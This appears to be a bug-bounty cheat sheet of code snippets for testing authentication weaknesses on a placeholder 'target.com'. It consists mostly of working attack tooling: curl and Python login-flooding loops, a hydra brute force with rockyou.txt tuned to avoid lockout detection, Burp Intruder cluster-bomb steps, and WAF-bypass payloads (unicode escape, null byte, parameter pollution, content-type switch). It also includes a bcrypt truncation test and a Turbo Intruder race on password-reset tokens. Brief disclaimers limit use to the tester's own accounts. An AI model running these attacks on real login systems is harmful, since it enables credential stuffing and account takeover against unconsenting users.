# Intercepted registration POST — modify password to weak value:
POST /api/register HTTP/1.1
Host: target.com
Content-Type: application/json

{"email":"bugtest@test.com","password":"a"}

# 200 OK / 201 Created → VULNERABLE ✓
{"status":"success","message":"Account created"}

# 400 Bad Request → Validation exists
{"error":"Password must be at least 8 characters"}

# Send 50 failed login attempts — use your OWN test account
for i in $(seq 1 50); do
  CODE=$(curl -s -o /dev/null -w '%{http_code}' \
    -X POST https://target.com/api/login \
    -H 'Content-Type: application/json' \
    -d '{"email":"mytest@test.com","password":"wrongpass"}')
  echo "Attempt $i: HTTP $CODE"
done

# All 401? → No lockout → VULNERABLE (CRITICAL)
# 429 at attempt N? → Rate limiting exists (note threshold)
# Check response headers for: X-RateLimit-*, Retry-After

import requests, json

TARGET  = 'https://target.com/api/register'
HEADERS = {'Content-Type': 'application/json'}

WEAK_PASSWORDS = [
    'a', '1', '123', 'admin', 'password',
    '123456', 'pass1', 'qwerty', 'letmein',
    'admin123', '', 'test'
]

for pwd in WEAK_PASSWORDS:
    payload = json.dumps({'email':'bugtest@test.com','password':pwd})
    r = requests.post(TARGET, headers=HEADERS, data=payload)
    status = '✓ VULNERABLE' if r.status_code in [200,201] else '✗ Blocked'
    print(f'[{r.status_code}] {status} | password={repr(pwd)}')

import requests, json, time

LOGIN_URL   = 'https://target.com/api/login'
TEST_EMAIL  = 'mytest@mytest.com'  # YOUR OWN account
MAX_ATTEMPTS = 50
locked = False

headers = {'Content-Type': 'application/json'}

for i in range(MAX_ATTEMPTS):
    payload = json.dumps({'email':TEST_EMAIL,'password':f'wrongpass{i}'})
    r = requests.post(LOGIN_URL, headers=headers, data=payload)
    if r.status_code == 200:
        print(f'[!] ATO at attempt {i+1}'); break
    elif r.status_code == 429:
        print(f'[+] Locked after {i+1} attempts — rate limit present')
        locked = True; break
    else:
        print(f'[{i+1}] HTTP {r.status_code}')
    time.sleep(0.2)

if not locked:
    print(f'[!] NO LOCKOUT after {MAX_ATTEMPTS} attempts — CRITICAL')

#!/bin/bash
# Permission required! Use ONLY on your own test accounts.

TARGET='target.com'
LOGIN_PATH='/api/login'
USER='test@test.com'
WORDLIST='/usr/share/wordlists/rockyou.txt'

hydra -l "$USER" \
      -P "$WORDLIST" \
      "$TARGET" \
      http-post-form \
      "$LOGIN_PATH:{\"email\":\"^USER^\",\"password\":\"^PASS^\"}:Invalid credentials" \
      -V -t 4 -w 3

# -t 4 = 4 threads (low = avoids lockout detection)
# -w 3 = 3 second wait between tasks

# 1. Intercept login POST → Right-click → Send to Intruder
# 2. Positions tab → Clear § → highlight password value → Add §

{"email":"test@test.com","password":"§FUZZ§"}

# 3. Payloads tab → Simple list → Load rockyou.txt (top 1000)
# 4. Options → Thread = 1, Throttle = 500ms (avoid lockout)
# 5. Start Attack → Sort by Status → 200 = ATO achieved

# Cluster Bomb (username + password):
# Position 1: §email§    → emails.txt
# Position 2: §password§ → passwords.txt

# Send login → Ctrl+R to Repeater
# Resend same wrong-password request 50 times
# Compare all responses:

# All 401? → NO LOCKOUT → CRITICAL vulnerability
HTTP/1.1 401 Unauthorized  (attempt 1)
HTTP/1.1 401 Unauthorized  (attempt 50)

# Rate limit present (good):
HTTP/1.1 429 Too Many Requests
Retry-After: 300

# Headers to check (often absent = vulnerable):
X-RateLimit-Limit: 10
X-RateLimit-Remaining: 0
X-RateLimit-Reset: 1734567890

# WAF blocks 'password' keyword — try Unicode normalization:
{"password":"\u0070assword"}   # p = \u0070

# Null byte injection — server validates before null, not after:
{"password":"a\u0000randompadding999"}

# Parameter pollution:
POST /login
password=StrongPass&password=a   # some servers use last value

# Content-type switch (bypass JSON validator):
Content-Type: application/x-www-form-urlencoded
email=test@test.com&password=a

# Register with 200-char password
long_password = 'A' * 200
register(email='test@test.com', password=long_password)

# Attempt login with only first 72 chars (truncation point)
short_password = 'A' * 72
result = login(email='test@test.com', password=short_password)

# If login succeeds → SILENT TRUNCATION → HIGH vulnerability
# CVE-2013-1691 (Mozilla) was exactly this bug

# Use Turbo Intruder to send 20 simultaneous reset requests
# Goal: reuse reset token before server atomically invalidates it

POST /api/reset-password HTTP/1.1
Host: target.com

{"token":"abc123","new_password":"a"}

# If first request accepts weak password AND token stays valid
# for subsequent requests → Race Condition + Weak Policy chain